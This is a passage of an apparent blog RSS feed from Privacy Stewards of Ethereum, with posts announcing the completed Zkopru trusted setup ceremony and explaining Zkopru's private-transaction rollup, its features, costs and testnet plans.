available [here](https://github.com/glamperd/setup-mpc-ui#verifying-the-ceremony-files). Contribution computation is performed in the browser. The computation code is compiled to WASM, based on the repo above, a fork of Kobi Gurkan's phase 2 computation module which has been [audited](https://research.nccgroup.com/2020/06/24/security-considerations-of-zk-snark-parameter-multi-party-computation/).We made these unaudited changes: \- For the WASM build, return the result hash to the caller.- Also for the WASM build: Progress is reported by invoking a callback.- Corrected errors in progress report count totals. ## More Questions? [Join](https://t.me/zkopru) our telegram group. ]]> zkopru trusted setup ceremony zero-knowledge proofs privacy scaling optimistic rollup ethereum security cryptography <![CDATA[Zkopru Trusted Setup Completed - Privacy Stewards of Ethereum]]> https://pse.dev/blog/zkopru-trusted-setup-completed-privacy-scaling-explorations https://pse.dev/blog/zkopru-trusted-setup-completed-privacy-scaling-explorations Fri, 26 Aug 2022 00:00:00 GMT <![CDATA[The public participation part of our ceremony has finished, we provide verification details, stats and announce a random beacon]]> <![CDATA[ Originally published on Apr 21, 2021: ![](https://miro.medium.com/max/800/1*gMaocyEjDLJjGXygZ_xfYA.png) ## **Overview** The public participation part of our ceremony is now complete! It ran for 22 days in total and had 5146 successful contributions to all circuits combined. We encourage you to head to [this](https://mpc.zkopru.network/) website to find your contribution files and instructions on how to verify them. ## **Statistics** By some metrics our trusted setup was the largest ever conducted, we had 5147 contributions across the 16 circuits albeit "only" by 369 individuals. A total computation time of 190,5h (7days) went into the ceremony and the average participant spent 36 minutes. We also had quite number of failed contributions and therefore [gave affected participants an additional week](https://thore-hildebrandt.medium.com/zkopru-ceremony-final-call-and-failed-contributions-5a787cb4885e) to do a second run. ![](https://miro.medium.com/max/916/1*FZtgLoyw52l_fC-YGxyX8g.png) The largest number of contributions came surprisingly before April 2nd where we posted it on twitter. Before that date we shared it in various Ethereum and ZKP telegram channels. ![](https://miro.medium.com/max/1046/1*V39MuaZXu3bhVRR-tnVJmw.png) ## **Random beacon** As a final step we are sealing the ceremony with a last contribution using a random number generated by [Drand](https://drand.love/) round 805765. This number will be generated close to Wed Apr 28 2021 10:00:00 GMT. After that time, you can find the number [here](https://drand.cloudflare.com/public/805765). See [here](https://gateway.pinata.cloud/ipfs/QmYeACjxL4woX9a1SvN6msg1BuKP69oJ5t4KFq5BMDK5NJ) the selection details uploaded to ipfs and [here](https://etherscan.io/tx/0xbe0a7768542e35f44fb1d8658209c94ebdf3604c141429943e9e5ebedf366cc0) an Ethereum transaction that proves that we decided on the procedure before the random number is generated. Note that according to [this](https://electriccoin.co/blog/reinforcing-the-security-of-the-sapling-mpc/), a random beacon might not be strictly necessary. Nevertheless, we consider it best practice to do so. ## **Thanks and next steps** We are in the process of stress-testing Zkopru, building a wallet and explorer and hope to launch on Ethereum very soon. Thanks to everonye who made this ceremony possible:Barry, Chance, Geoff, Kobi, Rachel, the Iden3 team, Thore, Wanseob, Wei Jie and the Ethereum community ❤ ## Questions? Find us on [telegram](https://t.me/zkopru) and on twitter: @ZkopruNetwork. ]]> zkopru trusted setup ceremony zero-knowledge proofs privacy scaling ethereum security <![CDATA[Zkopru: Wat, Y & Wen - Privacy Stewards of Ethereum]]> https://pse.dev/blog/zkopru-wat-y-wen-privacy-scaling-explorations https://pse.dev/blog/zkopru-wat-y-wen-privacy-scaling-explorations Fri, 26 Aug 2022 00:00:00 GMT <![CDATA[Zkopru is almost ready, we explain what it is and why it's awesome. We also announce a date for the testnet.]]> <![CDATA[ Originally published on Aug 10, 2021: ## Intro The Privacy Stewards of Ethereums Team works to bridge the gap between cutting-edge research in Zero-Knowledge Proofs (ZKP), and application development on Ethereum. One of our recent focus areas has been [zkopru](https://zkopru.network/) (zero knowledge optimistic rollup), a new protocol for gas-efficient private transactions. We completed a [trusted setup](https://medium.com/privacy-scaling-explorations/zkopru-trusted-setup-completed-92e614ba44ef) in April and since then have been heads down working on bringing it to completion. We are in the final stages of completing the web wallet and stress testing the system. A second audit is also on its way. With this post we want to give a high level overview of Zkopru's features and what will be happening in the upcoming weeks as Zkopru moves to public testnet and mainnet. This post assumes that you are generally familiar with Ethereum, layer 2, and the basics of zero knowledge proofs. ![](https://miro.medium.com/max/946/1*R0tVYYlbZEBkWBWeoSb3JQ.png) Zkopru stands for zk (zero knowledge) opru (optimistic rollup). You might have heard about zero knowledge proofs, zk rollups and optimistic rollups, so what is a zk-optimistic rollup? Let's start with the basics. \*\*What is a Zero Knowledge Proof (zkp)?\*\*Zero knowledge proofs such as zkSNARK allow verifying the correctness of computations without having to execute them and without revealing their inputs. Zkps can therefore be used for scaling and privacy. Zkopru uses zkps to make transactions private. [Zcash](https://z.cash/), [AZTEK network](https://aztec.network/) and [tornado.cash](https://tornado.cash/) are other examples where zkps are used for privacy on blockchains. \*\*What's an optimistic rollup?\*\*Optimistic rollups sit in parallel to the main Ethereum chain on layer 2. They can offer improvements in scalability because they don't do any computation on-chain by default. Instead, after a transaction, they propose only a stateroot to mainnet and transaction data is stored as calldata, which doesn't grow the state and therefore has reduced gas cost. As modifying the state is the slow, expensive part of using Ethereum, optimistic rollups can offer up to 10–100x improvements in scalability depending on the transaction. See [here](https://ethereum.org/en/developers/docs/scaling/layer-2-rollups/) for more information on optimistic rollups. Instead of miners, rollups have coordinators that receive transactions, calculate the new state and submit data to Ethereum. \*\*What is Zk + opru\*\*Zkopru is an optimistic UTXO based rollup. There is also another type of rollup called zk-rollup, which uses zero-knowledge proofs to verify the correct computation of the next state when new transactions are applied — but Zkopru is _not_ a zk-rollup. Whereas zk-rollups use the "zk" part to create a validity proof for the rollup state transition, Zkopru uses it to make individual transfers private. This concept has significant advantages in terms of gas consumption. For zk-transactions directly on the main Ethereum chain, it would be necessary to use a SNARK-friendly hash function to construct a Merkle tree, which is very expensive. Using an optimistic rollup, we can update the SNARK friendly Merkle tree at a low cost off chain. As a result, this protocol consumes about 8,800 gas per private transfer (a normal ETH transfer on Ethereum costs 21,000 Gas) 🎊. ## Y? Features of Zkopru ![](https://miro.medium.com/max/1062/1*X17IFo5Z-f-lR_xPSsdxww.png) Next, let's look at the most important user facing functionalities of Zkopru. Users will interact with the system via a web wallet to carry out deposits, withdrawals, transfers and swaps on L2. We'll give an overview of the UX for each of these functions below; for more detailed technical information check out our [documentation](https://docs.zkopru.network/) and [github](https://github.com/wanseob/zkopru) . **Deposit:** The user is able to deposit Ether, ERC-20 or NFTs to the Zkopru contracts on L1 (Ethereum) through the Zkopru user interface. After depositing the user will be able to view and transfer their assets on L2, represented behind the scenes as UTXOs. . **Transfer:** After deposit the assets are still linked to the user's account but the private transfer feature can be used to break the link. For a transfer, the sender needs the Zkopru address of the recipient. This is not an Ethereum address, but a user can use their Ethereum private key to generate a corresponding address in the Zkopru wallet. The wallet generates a zkp that proves the integrity of the system after the transfer without revealing any details and sends the transaction to the Zkopru coordinator. After the coordinator has included the transaction (for a fee) the funds are considered private. **Withdraw:** A user that wants to move their assets back from L2 (Zkopru) to L1 (Ethereum) can use the withdraw function of the wallet. Transaction details will need to be revealed for this action, so the address and amount withdrawn are not private anymore. Like other optimistic rollups, Zkopru requires the user to wait for 7 days for withdrawals to be finalized. Anyone who doesn't want to wait that long can use the instant withdrawal mechanism. \*\*Instant withdraw:\*\*If a user wants to make an instant withdrawal, they can make a request to another user to advance the funds in exchange for a fee. The user who advances the funds keeps the fee but takes on any risk of the transaction being invalidated by a fraud proof. \*\*Atomic Swap:\*\*Zkopru supports atomic swaps. Two users can ask the coordinator to facilitate the exchange of their two assets, and if the coordinator doesn't do so they will be slashed. This service will have its own site. At the moment it is difficult to find matching orders efficiently and privately. We're working on a solution that allows for private order matching. \*\*Cost:\*\*Users can deposit and withdraw ETH, ERC20 and NFTs. It's also possible to combine deposits of NFTs and ERC20s with ETH in the same transaction. The USD values below are the costs incurred on Ethereum assuming a gas price of 25 gwei and an ETH price of USD $2,500. ![](https://miro.medium.com/max/1400/1*zEx3-wuS2th3H3Al5QjkUw.png) For private transfers within the rollup, the coordinator will charge fees according to their cost incurred on L1 (Ethereum). Transactions become cheaper in bulk and depend on the number of UTXOs used: ![](https://miro.medium.com/max/1400/1*N8322pqIvlGrUbFh5GI9vA.png) On top of the costs listed in the table above, the coordinator has to pay a finalization cost of 171,954 Gas, (currently around USD10,75) per batch. ## Wen can we use Zkopru? ![](https://miro.medium.com/max/1080/1*wkAXunWTJaW0FOldy4nV1w.png) In about 2 weeks the Zkopru contracts will be deployed on testnet, the wallet UI will be released and we'll publish more documentation explaining how to interact with the system. If there are no major issues on testnet for another ~2 weeks we will announce the release of the mainnet contracts. A second audit is also expected to be concluded by that time. ## Conclusion After years of hard work we are stoked that Zkopru will soon be in production providing cheap, private transactions on Ethereum. If you want to use Zkopru on testnet, stay tuned for our next blog post. You can learn more about Zkopru on [github](https://github.com/wanseob/zkopru), our [website](https://zkopru.network/) and [blog](https://medium.com/privacy-scaling-explorations). ]]> zkopru optimistic rollup zero-knowledge proofs privacy scaling ethereum l2 transaction privacy utxo infrastructure/protocol